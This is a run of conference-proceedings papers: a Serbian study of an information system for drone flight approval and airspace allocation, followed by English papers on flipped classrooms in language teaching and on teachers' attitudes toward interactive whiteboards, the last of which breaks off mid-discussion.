Sistem za upravljanje bespilotnim vazduhoplovima u Republici Srbiji sastoji se od elemenata prema sledećem: Direktorat civilnog vazduhoplovstva Republike Srbije, jedinica Vojske Srbije za civilno-vojnu koordinaciju, Kontrola letenja Srbije i Crne Gore SMATSA doo Beograd, i sam sistem bespilotnog vazduhoplova (u daljem tekstu SBL). Podsistemi ovog sistema su: OJ GŠ VS, OJ MUP RS i BIA.
U okviru sistema za upravljanje bespilotnim vazduhoplovima u Republici Srbiji, Direktorat vrši upis u Evidenciju vazduhoplova, na zahtev vlasnika ili operatera bespilotnog vazduhoplova, po ovlašćenju vlasnika. Formira i vodi ažurnu evidenciju upisanih bespilotnih letelica, izdaje odobrenje za upravljanje bespilotnim letelicama i vodi evidenciju o zdravstvenoj osposobljenosti podnosioca zahteva odnosno operatera sistema bespilotnog vazduhoplova. Sve relavantne podatke vezane za podnosioca zahteva za letenje bespilotnim vazduhoplovom prosleđuje na dalje nadležno postupanje jedinici Vojske Srbije za civilno-vojnu koordinaciju.

Nakon dobijanja zahteva za alokaciju vazdušnog prostora od strane operatera sistema bespilotnog vazduhoplova, jedinica Vojske Srbije za civilno-vojnu koordinaciju prosleđuje upit prema nadležnim OJ GŠ VS, MUP RS i BIA za mogućnost odobrenja letenja bespilotnih vazduhoplova u traženom prostoru.

Osnovni zadatak Kontrola letenja Srbije i Crne Gore SMATSA doo Beograd u sistemu upravljanje bespilotnim vazduhoplovima u Republici Srbiji jeste koordinacija sa jedinicom Vojske Srbije za civilno-vojnu koordinaciju u cilju usklađivanja i odobrenja alokacije određenog dela vazdušnog prostora, odnosno dela vazdušnog prostora za koji je operater sistema bespilotnog vazduhoplova tražio alokaciju [6].

5. METODE MODELOVANJA INFORMACIONOG SISTEMA KONTROLE LETENJA BESPILOTNIH VAZDUHOPLOVA

U ovom poglavlju dat je kratak opis metoda koje su korišćene pri izradi informacionog sistema za kontrolu letenja bespilotnih vazduhoplova, prema sledećem:

- metod funkcionalnog modelovanja;
- metod informacionog modelovanja i
- metod aplikativnog modelovanja.

Metod funkcionalnog modelovanja

Za efektivno funkcionisanje organizacije mora se identifikovati i upravljati mnogobrojnim, međusobno povezanim procesima. Modelovanje procesa omogućava dekompoziciju "poslovnih procesa" i planiranje potrebnih resursa za realizaciju procesa. Najvažnija korist u primeni modelovanja procesa je prototipski pristup kojim se na relativno brz i jednostavan način proveravaju alternativne ideje. Mnogo je jeftinije generisati model procesa, nego razviti novi informacioni sistem. Za potrebe funkcionalnog modelovanja izrađen je dijagram konteksta koji predstavlja najviši nivo apstrakcije koji se dekompozicionim dijagramima prevodi u niži nivo apstrakcije. Svaka od podfunkcija podređenog dijagrama može kreirati svoj dijagram na nižem nivou. Na taj način, definišu se različiti nivoi apstrakcije, tj. na višim nivoima su opštije funkcije, koje se na nižim nivoima dekomponuju i detaljnije opisuju. Procesi na najnižem nivou koji se dalje ne dekomponuju nazivaju se primitivni procesi.

Metod informacionog modelovanja

Kada je dekompozicija sistema izvedena do poslednjeg nivoa tj. do nivoa "primitivnog procesa", potrebno ga je detaljnije opisati. Opisivanje se izvodi informacionim modelovanjem definisanjem logičkog modela podataka.

Model podataka je pojednostavljeno predstavljanje realnog sistema preko skupa objekata (entiteta), veza između objekata i atributa objekata. Svaki entitet ima svoje osobine (atribute), a entiteti su međusobno povezani vezama (relacijama).

Osnovni objekti u logičkom modelu podataka su: entiteti, atributi i relacije. U fizičkom modelu podataka, osnovni objekti su: tabele, kolone i ograničenja (kao relacija) [7].

Metod aplikativnog modelovanja

Aplikativno modeliranje vezano je za definisanje fizičkog modela podataka, generisanje šeme baze podataka, izradu korisničke aplikacije.

Prilikom prevođenja logičkog modela u fizički dolazi do konverzije. Entiteti postaju tabele, atributi se definišu kao kolone, instance ili primerci postaju redovi, na preseku reda i kolone definišu se polja, kao i odgovarajuća ograničenja u zavisnosti od izabranog sistema za upravljanje bazom podataka.

Izrada aplikacije omogućava korisnički pogled na podatke, tj. da se definišu meniji, forme, upiti i izveštaji, i izvodi se na osnovu prethodno urađene šeme baze podataka, kao i konkretnih zahteva budućih korisnika. Specifikacija forme izvodi se za:

- definisanje menija;
- definisanje izgleda forme;
- definisanje upita i

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definisanje izveštaja.

Primer izrđene aplikacije za prijavu letenja bespilotnim vazduhoplovom dat je na Slici 2.



Slika 2. Prikaz aplikacije za prijavu letenja bespilotnim vazduhoplovom

Skladištenje podataka o registrovanim korisnicima bespilotnih vazduhoplova

Informaciona "inteligencija" objedinjuje metode, tehnologije i platforme za skladištenje podataka (eng. *Data Warehausing*), OLAP procesiranje podataka (eng. *On-line Analytical Processing*) i otkrivanje "znanja" u podacima (eng. *Data Mining*), koje omogućava korisnicima kreiranje korisnih upravljačkih informacija iz podataka o pacijentima i organizaciji koji se nalaze disperzovani na različitim transakcionim sistemima, koji dolaze iz različitih internih i eksternih izvora [8].

U cilju vizuelizacije baze podataka, urađena je test baza podataka "Podnosioci zahteva za letenje bespilotnim vazduhoplovima" koja je korišćena kao primer u radu. Da bi se ona mogla koristiti, potrebno je sagledati njenu strukturu.

Baza podataka "Podnosioci zahteva za letenje bespilotnim vazduhoplovima" kreirana je u *Microsoft Access*-u i koristi se za čuvanje podataka o korisnicima bespilotnih vazduhoplova, s jedne strane, i za čuvanje podataka o karakteristikama bespilotnih vazduhoplova, s druge strane. Za svakog korisnika određuje se status i kategorija kojoj pripada. Na osnovu ulaznih podataka i zahteva za alokaciju vazdušnog prostora, informacioni sistem izrađuje i prikazuje status odobrenih zona na osnovu raspoloživosti vazdušnog prostora. Zone za rad određuju se u odnosu na unete geografske koordinate, koje su centar kruga, a dimenzije kruga determinisane su poluprečnikom koji se izražava u metrima i meri se od centra kruga, do zahtevanih granica za letenje. Baza podataka "Podnosioci zahteva

 Tabela Podaci o korisnicima – Koristi se za čuvanje podataka o registrovanim licima koja imaju pravo pristupa sistemu za prijavu letenja bespilotnim vazduhoplovom;

- Tabela Orijentacija Koristi se za čuvanje podataka o koordinatama tražene zone za letenje, visinu leta i vreme trajanja leta;
- Tabela Vreme izdatog odobrenja i podnošenja zahteva – Koristi se za čuvanje podataka o vremenu izdavanja odobrenja i podnošenja zahteva;
- Tabela Podaci o letelici Koristi se za čuvanje podataka o evidencionom broju i tehničkim karakteristikama letelice;
- 5. Tabela Podnošenje zahteva Koristi se za čuvanje podataka o istoriji pacijenta.

Na Slici 3 prikazana je veza između definisanih tabela.



Slika 3. Prikaz veza između definisanih tabela

Tabela "Podnošenje zahteva" predstavlja logičko grupisanje podataka (svi podaci o korisnicima čuvaju se u Tabeli Podnošenje zahteva, dok se svi podaci o bespilotnim vazduhoplovima čuvaju u tabeli "Podaci o letelici". Takođe, može se primetiti da svaka tabela čuva dve vrste podataka – izvorne podatke i relacione podatke.

Izvorni podaci predstavljaju stvarne podatke koji treba da se čuvaju (na primer, u tabeli "Podaci o korisnicima" su podaci o prezimenu i imenu korisnika, zabrane, broj telefona i sl.).

Osnovna namena baza podataka je dobijanje informacija na osnovu podataka koji se čuvaju u bazi podataka. Na primer, koja zona za letenje bespilotnih vazduhoplova je slobodna za letenje. Ovakvi zahtevi se u bazama podataka prevode u upite (eng. *query*) koji kada se izvrše prikazuju tražene informacije, s tim što se na karti iscrtava kružnica čiji je centar određen unetom geografkom širinom i dužinom, a poluprečnik rada određen unetim poluprečnikom u metrima. Na Slici 4 prikazana je aplikacija za prikaz i praćenje letenja bespilotnih vazduhoplova u određenim – alociranim delovima vazdušnog prostora Republike Srbije.



Slika 4. Prikaz aplikacije za kontrolu i praćenje letenja bespilotnih vazduhoplova

Takođe, predloženi model informacionog sistema za kontrolu i praćenje letenja bespilotnih vazduhoplova poseduje sposobnost da se automatski obeleže alocirane zone, u zavisnosti od statusa npr. crvena boja označava da se ne odobrava letenje u traženoj zoni (razlog može biti različit npr. pogrešno unete koordinate, preklapanje zona letenja od strane više korisnika, zona zabrane letenja i sl.). Narandžasta boja označava da je tražena zona odobrena za letenje ali još uvek nije aktivna. Plava boja označava aktivne zone u kojima se trenutno odvija letenje.

Pored navedenog, u vidu tablice prikazani su podaci za svaku zonu u kojoj je planiran let ili u kojoj se odvija letenje. Tabele podataka sadrže podatke o:

- visini leta;
- vremenu trajanja leta;
- vrsti letelice i
- broj telefona za hitnu obustavu leta.

6. ZAKLJUČAK

Dosadašnja iskustva u aktivnostima vezanim uz integraciju bespilotnih vazduhoplova u civilni vazdušni prostor upućuju na to kako bi najveće regulatorne prepreke mogle biti vezane uz "označenu" odgovornost, odnosno potrebu da se u svakom trenutku mora jasno znati ko je odgovoran za sigurnost operacije u kojoj učestvuje bespilotni vazduhoplov. Nije slučajno što se u NATO frazeologiji nametnuo izraz "označeni operater bespilotnih vazduhoplova", upravo sa ciljem kako bi se na taj način operater, u komunikaciji s odgovarajućim službama kontrole letenja, pozicionirao kao subjekt koji je odgovoran za vazduhoplov kojim upravlja.

U cilju sigurne integracije bespilotnih vazduhoplova u kontrolisani vazdušni saobraćaj, Eurocontrol razvija zahteve za bespilotne vazduhoplove u ATM okruženju, koji će se sastojati od skupa interoperabilnih kriterijuma za operativna odobrenja i sertifikaciju. Ti zahtevi pretpostavljaju kako će se bespilotni vazduhoplovi u potpunosti prilagoditi postojećem ATM sistemu, pre nego da se taj sistem na bilo koji način prilagođava bespilotnim vazduhoplovima.

Ovaj rad predstavlja skromni doprinos u razvoju informacionog sistema za kontrolu letenja bespilotnih vazduhoplova, čime bi se u znatnoj meri poboljšala bezbednost svih učesnika u vazdušnom saobraćaju.

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INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

MODERN TECHNOLOGIES IN LANGUAGE TEACHING

ENHANCING LEARNERS' AUTONOMY THROUGH FLIPPED CLASSES

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Abstract:

The potentials which technology offers have made researchers and educators re-examine the traditional teacher-dominated pedagogical model, and move from instruction and knowledge delivered classes towards a new educational paradigm dominated by learner-centered approach. This paradigm shift in education involves the change of roles of both teachers and students, and is aimed at providing the context wherein learning takes place through active students' engagement and with the teacher's coaching guidance. In order to provide such a context, a flipped pedagogical model, as a key component of blended learning, has been proposed, and it is being implemented in a growing number of higher education institutions. This concept implies the reverse content of lecture delivery and students' work outside of classes. Students' active participation is particularly important in the process of foreign language learning, and flipped classes can enhance both students' and teachers' motivation, their creative and critical thinking skills, and they can also improve performance and communication skills. The emphasis is on the concept of lifelong learning, whereby learner autonomy is encouraged through the opportunity given to students to find, evaluate and analyse information themselves.

Keywords:

active learning, blended learning, flipped classroom, learner autonomy.

1. INTRODUCTION

The commonest higher educational model reflects the age when it was designed – the age of industrial revolution. However, modern society, affected by complex and growing social, cultural, technological and economic changes, imposes high demands on educational establishments to keep up with these new requirements. Never has it been so demanding to organise an effective and purposeful educational process which will prepare learners for real-life contexts and competitive labour markets. The growing number of educational institutions is searching for new teaching and learning models which will adequately respond to these new demands. One of the proposed models includes a shift from "education for life" to "lifelong learning" which is understood as "a continuous and self-motivated search of knowledge for different purposes" (Evseeva and Solozhenko, 2015: 206). Information and communication technologies

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e-mail: vgavranovic@singidunum.ac.rs have enhanced potentials for students' continuous professional and personal development, encouraging them to take responsibility over their own learning and become autonomous learners. The integration of information and communication technologies into the educational processes has promoted blended learning, a pedagogical model which combines the traditional face-to-face teaching and learning context with the experience of using learning technologies. It is being used in academic contexts and it was identified as "one of the top ten trends to emerge in the knowledge delivery industry" (Curtis and Graham, 2006: 3).

This paper investigates "flipped classroom", an important aspect of blended learning, and the possibilities it offers in teaching and learning environment. The aim is to present the rationale underpinning the flipped model, and explore the advantages of applying it in foreign language teaching and learning in higher educational contexts. The flipped model has been embraced by many higher educational institutions as a promising learning paradigm which can effectively face the current challenges in education (Scheg and Abigail, 2015: 61).

2. LEARNER AUTONOMY

The three main concerns of the European Language Portfolio are learner autonomy, plurilingualism and interculturality. David Little defines learner autonomy as "a capacity – for detachment, critical reflection, decisionmaking and independent action" (Little, 1991: 4). He also believes that learners develop their autonomy through "individual-cognitive" and "social-interactive" processes. To meet these challenges and demands, a new educational paradigm has been proposed, and it combines the elements needed to promote learner autonomy.

3. THE CONCEPT OF THE FLIPPED CLASSROOM

The concept was introduced and developed by American educators and chemistry teachers Jonathan Bergmann and Aaron Sams in 2000, and ever since the model has been gaining in popularity among researchers and educators. The main pedagogical philosophy underlying this model emphasises the importance of relocating the main stages of teaching and learning processes, whereby the elements of the traditional classroom lecturing and homework done by students afterwards, outside the classroom, are reversed. Even though there is no strict and unique form of applying it in educational environment, and as Bergman would say "there is no such thing as the flipped classroom" (Aaron and Bergmann, 2012: 5), there are several important aspects of the concept to consider.

The proponents of the flipped model believe that the starting point for educators in organizing learning process should include one important question: "What is best for my students in my classroom?" (Aaron and Bergmann, 2012: 5), and the idea of reversing teaching and learning activities stemmed from the needs of their students. They tried to help them achieve better results and gain deeper understanding of the subject matter by providing important input and stimulus in the most appropriate framework. This framework includes reversed elements of traditional lectures delivered by teachers during class time and autonomous students' learning taking place outside of classrooms. Attention is redirected away from the teacher, and in the focus of the educational process is the learner.

The main "flip" implied in this model refers to the organisation of teaching and learning processes and activities. Teachers post lectures and topic-related materials on-line before face-to-face class session. Students watch videos recorded or chosen by teachers, and read various materials related to the topic, including tests and online quizzes offering immediate feedback. On the other hand, in-class time is devoted to discussions, clarifications, open questions and a repertoire of various exercises (EDUCASE, 2012). The main idea of this approach is to maximize student's engagement. When students attend face-to-face classes, they are already familiar with the topic, its main concepts, theoretical background and they have some understanding of the subject matter (Evseeva and Solozhenko, 2015). Prepared and "equipped" with the basic elements of the lecture to be covered during class time, students are ready to be more engaged in class time work, and they are given a valuable opportunity to participate actively in the process of learning, thus taking responsibility over their own learning. The interaction during class time is more effective and efficient, resulting in deeper understanding of the subject matter. The important aspect of flipped model is "a distinctive shift in priorities - from merely covering material to working toward mastery of it" (EDUCASE, 2012).

The flipped model also implies significant changes in the roles of teachers and students, and it considerably alters classroom management. Students are not passive participants in the classroom, where they just sit in rows and listen to the lecture, delivered by knowledgeable and authoritative resources, but they actively participate in the process of learning. They are given the opportunity to develop their own critical, creative and problem-solving skills and autonomy in learning. The role of the teacher is also considerably changed. Instead of being in the centre of attention during class time, the teacher takes on multiple roles – the ones of an educator, lecturer, instructor, facilitator, e-learning moderator, guide and a coach.

Flipped classes must be thoroughly planned and organized, and it takes much effort on part of the teacher who leads and monitors the whole process, but does not take control over learning. It is also important to explain students the concept of this model and develop it thoughtfully so that students could realise the benefits of its implementation.

4. BENEFITS OF APPLYING THE FLIPPED MODEL IN FOREIGN LANGUAGE LEARNING

The flipped model has been implemented in teaching different subjects, and foreign language teaching and learning is no exception. In a traditional educational setting, students are exposed to new language items, or a set of rules, and some of them successfully follow what is being said instantly the speaker says it, while others struggle to decipher some, or many of the aspects of the lecture. Those who show such learning difficulties do not have time to reflect upon some concepts, analyse them and capture their meaning. On the other hand, the flipped model allows students to work at their own pace, to stop, work on and process difficult linguistic concepts or ideas. Students get control over the flow of the teacher's lecture because they can stop the prerecorded video, and watch more demanding segments more than once. In prerecorded videos or carefully designed materials, students can also be instructed how to apply some rules in developing language skills, or they can be exposed to the target language items, texts and vocabulary before class time.

The great potential of the model is reflected in the way the class time is reorganised and repurposed. Although it may seem that the use of technologies in education can discourage students to attend classes, if properly organised and conducted, the flipped model enhances the importance and value of face-to-face communication. It emphasises how precious class time is, and how it can be used more effectively and meaningfully because students come to classes to discuss topics and linguistic concepts, ask questions and look for clarifications; students have the opportunity to develop their language skills more extensively and interact with other students in hands-on activities (EDUCASE, 2012). One of the obstacles in mastering language skills, particularly the productive ones, lies in students' shyness and feeling of embarrassment when they need to express their thoughts and opinions in a foreign language. This challenge can be partly overcome if students come to classes already informed about the content to be covered, which can boost their self-confidence and self-esteem. Interaction among students can also enhance students' communication skills, and build on their emotional and social intelligence.

In-class discussion and student's questions can provide the foreign language teacher with a good insight in students' course of thinking, but also help the teacher detect common mistakes students have made and misconceptions they have created. The most widespread mistakes can serve as clues to the teacher what was delivered ambiguously, and make the instructor think how to improve techniques in order to deliver the content in a clear and more meaningful way. The flipped model, thus, encourages the teacher to reflect upon the effectiveness of his teaching and explaining methods, improving his skills and preventing the danger of getting into a monotonous circle of a daily teaching routine.

The way students learn a foreign language, and how successful they are, is largely determined by individual learning styles, which considerably differ among students. (Oxford, 2003: 1). In a traditional teaching context, the challenge to reach every student is imposed on teachers, and it takes lots of effort and skillfulness to achieve this goal. On the other hand, strategies applied in flipped classes and the use of learning technologies offer great possibilities to cater for a wide range of different learning styles (Lage and Treglia, 2000: 32). Furthermore, some students learn and interact better through face-to-face communication, while others benefit more through texting and e-mails (Aaron and Bergmann, 2012).

Another very demanding task imposed on teachers nowadays is to personalise student's education, which is often a painstaking and even impossible mission in the traditional educational settings with dozens of students sitting in rows, listening to knowledge delivery, with the aim of recalling the information on an exam (Aaron, 2012: 13). Aaron claims that students need teacher's individual help not when they teach them the content, but when they need clarifications of certain aspects of their delivery, and this is exactly what the flipped model advocates. "Flipping the classroom establishes a framework that ensures students receive a personalized education tailored to their individual needs." (Aaron and Bergmann, 2012: 6) In the traditional educational framework, those who get most of teacher's lectures are the brightest and smartest students, while those students who fall behind can stay even further from those who excel, and thus the issue of mixed-ability classes is deepened. Flipping the traditional model encourages students of all abilities to develop their language skills, especially those who struggle most, and thus, if carefully designed and thoughtfully conducted, it can allow for real differentiation.

Flexibility is very important aspect of the flipped model and it allows students to choose when, where and for how long to consume the information delivered by the teacher. Modern technologies make it much easier because the access to the Internet and the subject matter related material is almost always available, and instructions are delivered when students are ready to process the new information and to correlate it with their existing knowledge.

Another beneficial aspect of this model is that teachers get to know their students better through flipped classes, and they can, accordingly, organise their classes in the future. Flipping thus allows for continuity and coherence of individual subjects. Classes are also transparent, which allows for a better correlation among related or different subjects, because this is an effective way to connect teachers themselves and allow them to synchronise and create a broader picture wherein they can position their own subject.

5. THE DOWNSIDES OF THE FLIPPED MODEL

Teaching foreign languages cannot be prescribed and instructed fully in a single pedagogical model. It requires a complex set of skills, knowledge, attitudes and pedagogical philosophies embraced by language teachers. The flipped classroom is an easy model to slip up and flip over, resulting in a poor performance. It requires careful preparation and meaningful organisation of in-class and out-of-class activities and tasks.

Flipping requires additional work for teachers because recording lectures takes time and effort, and flipping also demands from teachers to master new skills in the domain of digital literacies and classroom management (Bransford, 2000: 227). As far as students are concerned, they can misunderstand the concept of flipping, and misjudge the real benefits it offers in promoting learning and autonomy. Some of them could neglect face-to-face communication completely because they think they can find all they need on-line. Others could also come unprepared to classes, and miss the essential aspects of lectures. Teachers have a demanding task to prepare students for flipping, and to present them with the benefits, but also with the drawbacks if they do not respect the rules underlying the model.

There are also some authors who believe that the flipped classroom does not enhance learning, and that the results it can yield can be even worse than when teaching and learning in a traditional educational framework. Atteberry is one of the authors who criticises this model and believes that the flipped classroom is overrated, that it is just a "fad" which does not improve students' scores and learning. (Atteberry, 2013)

6. CONCLUSION

Flipping the classroom elements can be effective for some topics and linguistic concepts, while some issues must be explored and discovered by students themselves. Certain contents can be best acquired by students if taught directly in a face-to-face, teacher-centred learning context. Techniques and models vary depending on different factors, and the teacher should make a sound judgment which ones to employ for the best results. The flipped model is just one of the ways teaching and learning process can be organised, and to cater for different students' needs it is best to find a nice balance of approaches and techniques (Muldrow, 2013: 31).

Flipping involves a comprehensive change in the class dynamics, and the philosophy underlying it says that teaching is "much more than good content delivery" (Aaron and Bergmann, 2012: 21). The development of powerful devices offers immense opportunities to adapt educational framework to the 21st century students, who grew up with the "always-on digital world". With the flipped model, all we do is speak their language. However, no matter what model instructors opt for, never should they neglect pedagogy underpinned. Even though Aaron was the proponent of the model which requires the use of technology, he says that "Pedagogy should always drive technology, never the other way round." (Aaron and Bergmann, 2012: 21).

The flipped model is a new educational paradigm dominated by learner-centered approach, and letting students have control over learning is one of the hardest things to do for many educators. But doing so, teachers show respect for and trust in "unique individuals who require a unique education" (Aaron and Bergmann, 2012).

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PEDAGOGICAL RETURN ON INTERACTIVE WHITEBOARD INVESTMENT: TEACHERS' BELIEFS

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Abstract:

The blooming and diverse literature on implementation of interactive whiteboards in education, in general, praises their effectiveness in learning and teaching. Despite their deceivingly ordinary appearance, they are reported to facilitate the integration of multimedia in the classroom, boost learner activity, support development of the 21st century literacies, and cater to different learning styles. However, the acquisition of the technology is disproportionate to the adequate training of the teachers on its use and schools' systematic plan on its integration.

Critical theory of learning technology lays its emphasis on contextualizing the technology and accounting for various factors of its integration, such as the inherent nature of the technology, teacher's affective and cognitive attitudes, and students' awareness of its benefits. This paper focuses on teachers' pedagogical beliefs as the grass roots of any change in learning and teaching. Special attention is paid to resistant adopters as they need the most scaffolded and guided training.

Therefore, the aim of this paper is twofold. Primarily, it will present arguments advocating use of IWBs, collected from the reviewed studies. Secondly, it will map attitudes and beliefs of the teaching staff at the Faculty of Philosophy in Kosovska Mitrovica and Business School of Applied Studies in Blace regarding the use of interactive whiteboards in teaching.

Keywords:

interactive whiteboard, teacher's beliefs, interactivity, learning technology, teacher training.

1. INTRODUCTION

It has become an imperative to modernize and improve teaching on a tertiary level, especially foreign language teaching, having in mind that English language is studied both at the English departments, as well as other universities and departments. At the departments of the English language and literature, future teachers are mostly prepared for primary and secondary education. Through modernization of teaching methods, they are prepared to use ICT in their future work. At other departments, where language is acquired as English for Special Purposes (ESP), use of modern technologies and devices (interactive whiteboards, for example) improves lessons and may raise the capacity of students to use these

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e-mail: anita.jankovic@pr.ac.rs devices in their future work. In both cases, it would be beneficial to train students to use the interactive whiteboards for presentations of their papers, etc.

In the field of teaching training, or applied linguistics in a broader sense, certain principles need to be met to enable excellent results in acquisition of knowledge, in this case, English language. The selection of approaches needs to be considered, starting from functional, through cognitive, holistic, and interactional to communicative. Selection of methods depends on the selection of the approach, the range of methods starting from the grammar translation method, through the natural method, the audio-lingual, oral or situational language teaching, to silent way, Suggestopedia, and total physical response.

Selection of techniques, from drills, through use of poetry and drama techniques, to e-learning, is also very important. E- learning is based on two different models – designing the virtual classrooms or independent work of students [25]. The term _blended learning' was also introduced in teaching training and applied linguistics in 2007 [10]. Classes are taught face to face, but the process of learning is also facilitated by PCs, Internet, and learning software, along with the interactive whiteboard (IWB) [43].

With the recent acquisition of interactive whiteboards, the teaching staff at our institutions is faced with a new challenge and, for some, even an obstacle. What is the value of this new tool and what trials will our current teaching practice and our preparation time endure? These questions roam our heads as we stare at the whiteness of the new boards. Therefore, we set to explore literature on the topic to better equip ourselves, as well as to map the beliefs of our colleagues on the instructional and motivational effects the IWBs.

Literature review

The importance and use of the interactive whiteboards were reviewed and studied by numerous authors. According to Wood and Ashfield [36], the proximity and speed of education change in an unpredictable manner. Technology offers a chance to students to enjoy learning. With the increase of the amount of technology in each classroom, interactive whiteboards are becoming common tool in many countries.

IWB technology was initially developed for presentation in office settings and, in terms of educational settings, appears to have been used first in higher education [6], [22]. As earlier reviews have noted, much of the early literature has been descriptive. It details the introduction of the new technology and therefore reflects the enthusiasm of the _initial innovator' and _early adopter' [17] or _missioner' [12] who had a vision of what the technology might achieve. It was, perhaps, indicative of the potential of this technology in classrooms.

This potential was based on a number of affordances of the technology [41]. A number of benefits were identified, such as that IWBs were well adapted to whole-class teaching [10], particularly in terms of developing more effective demonstrations [6], presenting a variety of representations and aspects of display more generally. IWBs were identified as making it easier to incorporate and use a range of multimedia resources in lessons such as written text, pictures, video, sound, diagrams, websites [9], [27]. The resources created and presented are attractive to both teachers and students [4], [40], and they capture and hold students' attention much more strongly than other classroom resources [20]. One of the most widely claimed advantages of IWBs was that they were seen to motivate pupils, with resulting improvement in attention and behavior [47]. IWBs were perceived as linking with the fashion for different learning styles [4]. The interactive software available enabled teachers to model abstract ideas and concepts in new ways so that the pupils might respond to the activities and deepen their understanding [12], [23]. They could quicken the pace of lessons through the use of prepared materials which reduced the need to write on the board [4], [10], [12] and could smoothen lesson transitions [4]. The facility to save and then re-use materials which have been created or annotated could reinforce and extend learning over a sequence of lessons [40]. IWBs were considered to be relatively easy to use and therefore favored by teachers who otherwise struggled to incorporate technology into their classrooms [20].

Researchers have also studied teachers' pedagogical approaches to the use of IWBs in different domains, such as literacy [2], science [26], [38], [44], and mathematics [15]. The findings indicated that teachers developed various teaching strategies for integrating IWBs into their teaching to increase their interaction with students [15], to help explain complex concepts [32], and maintain students' attention [20], and to increase the opportunities for adapting other classroom materials [15]. Some researchers have also shown that teachers perceive reasons for not using IWBs as not having an IWB installed in each classroom [21], lack of time to design instructional lessons [39], lack of professional training and related teaching software, as well as difficulties in solving technological problems [21].

A number of studies on ICT tools used in education focus on understanding the development of teachers' ICT skills, such as relationships between ICT skills, their pedagogical thinking and classroom practices [25], and integration of ICT in different academic subjects [36]. Sutherland et al. [36] also state the importance of choosing ICT tools to fit different classroom cultures, for which each technological tool needs to be selected within a particular socio-cultural setting and its functions need to be appropriately integrated into the subject content. Internet and web based learning systems are becoming essential to create interaction between teachers' teaching and students' learning [5], [46]. The IWB is one of the ICTs widely used in school settings to increase these interactions and develop teachers' pedagogical strategies by integrating the features of this particular device into teaching [39], [42].

The researchers further examined how the integration of IWB in teaching can enhance students' comprehension of mathematical thinking [43], motivation [16], [18], and performances [32]. Therefore, the use of IWBs has been evidenced to positively influence teachers' integrative skills, at the same time developing their pedagogical approaches and students' learning as associated outcomes.

Glover et al. [14] have shown that IWB encourages students' interest and increases students' concentration. Beeland's study [47] focused on verifying the effect of use of IWB as an educational material on active participation of students. Due to student engagement in lessons, teachers can maintain students' focus and interest and enhance classroom management [19].

With regards to language teaching, modern foreign language (MFL) teachers are also reported as using a range of materials on an IWB. Thomas [3] describes the use of CD- ROMs, websites, Word documents and PowerPoint slides in conjunction with the facility to highlight, annotate, drag, drop and conceal linguistic units: –You can create sequence linking sound files, web pages, images – anything from your desktop and build it up, layer upon layer| [3]. The facility to mix visual and aural information is argued to facilitate the process of MFL learning, as learners can make connections between what they see and what they hear.

Although it can take time to prepare lessons with an IWB and to become technically accomplished [4], [11], [35], teachers report that planning time should eventually be reduced given the facility of IWB technology to save, share and re-use lesson materials [30]. Facing the class whilst teaching ICT is reported as a major advantage of IWB use, as it allows the teacher to spend more time focusing on the students [7], [20], [28], [37].

Regarding the drawbacks, it was noted that, at least initially, preparation for lessons took longer and it took time and experience to become technically accomplished [4], [13], [35]. Some researchers have highlighted that even when a teacher aims to use IWBs as a transformative pedagogic tool [24], lack of practical and methodological training can impede and frustrate such aims [8], [34]. Levy [35] observed that teachers who were already confident ICT users tended to become enthusiastic _early adopters' able to experiment and develop their own IWB use following initial training. Those teachers with less confidence and experience with ICT, however, were less able to be self-reliant, preferring instead more sustained and individual guidance as part of more structured continuing support, such as where more experienced users work alongside novices [10]. Several studies have also focused on teachers' attitudes about use of IWBs, and researchers have argued that some educators (both teachers and academicians) find it hard to be inspired by IWBs during their lessons [16], [20], [21]. Cost limitations are also a reason for educators not to include IWBs in the lessons, along with the lack of ICT competence and the need for teachers to prepare for IWB lessons [21].

A case study of Namli, Sahin, and Karatas [31] has shown that, like two sides of one coin, whiteboards also have disadvantages. IWB in a classroom will not guarantee results, as motivated teachers will motivate students. IWBs help teachers explain concepts in ways that capture students' attention, but the lessons require time to design and prepare. Unlike with the textbooks, teachers have to research, evaluate, interpret, install and maneuver software programs needed for IWB. Teachers who do not receive proper training on how to use IWBs often find them troublesome and complicated. As a result, teachers get frustrated and never use the full potential of IWBs.

Study

The study presented here was conducted in two HE institutions, Faculty of Philosophy in Kosovska Mitrovica and Applied Business School in Blace, which recently invested in acquiring and implementing interactive whiteboard technology. Both institutions attach great importance to innovation in teaching and learning, hence the investment in the educational technology. However, the introduction of IWBs was rather obscure in terms of training and scaffolding the teaching staff which inspired the authors to investigate the attitudes of the teachers towards the unfamiliar whiteboards now hanging in their classrooms. We were interested to map their:

- general attitudes;
- perception of instructional effects of IWBs,
- perception of motivational effects of IWBs on the students;
- need for training.

The study was carried out with a quantative approach using a survey methodology followed by the descriptive method of data analysis. The instrument used in the survey was Hüseyin's questionnaire [33] which consisted of 25 statements, eight of which were negatively keyed. The online questionnaire was administered in Serbian and English, with the English version (Appendix 1) serving as the pilot to test the instrument validity with the English department at the Faculty of Philosophy, which led to slight revisions to the Serbian version of the questionnaire. The statements were rated on the five-point Likert scale which included a N/A option for the teachers who had no experience in using IWBs.

The survey included 68 teachers in both schools and since the participation was voluntary, a total of 50 teachers completed the questionnaire, yielding a 73% response rate. The data was collected and quantatively analyzed using Google Forms, online software. For the concise and economic presentation of the results, the graded scores on both sides of the scale were summed.

Presentation and discussion of the results

The broader framework of this study is the critical theory of learning technology [1] which lays its emphasis on contextualizing the technology and accounting for various factors of its integration, such as inherent nature of the technology, teacher's affective and cognitive attitudes, and students' awareness of its benefits. Sutherland et al. [36] quotes Schuck who named these factors -contextual factors which play a major role in the successful implementation of the digital technology in education. In addition, Schuck identified other factors such as school culture, teacher training, time to practice and prepare materials, teacher confidence, and technical support. Other contextual factors to consider involve classroom setup and the quality of the equipment [39].

This study focuses on teachers' pedagogical beliefs as the grass roots of any change in learning and teaching, especially on those of resistant adopters as they need the most scaffolded and guided training. The survey shows that 17% of the participants never used the IWB in their classes, half of whom perceive themselves as -not the technological type|, while three participants expressed extremely negative attitude towards it. Among the other 83% who used the IWB at least once, 4 people reported feeling embarrassed in front of it. Greiffenhagen [8] and Malavet [34] report that even the enthusiastic teachers suffer from the frustration and embarrassment when implementing IWB technology. Previous studies, including [15] and [21], agree that building IWB culture and providing ample professional development increases teachers' confidence and participation.

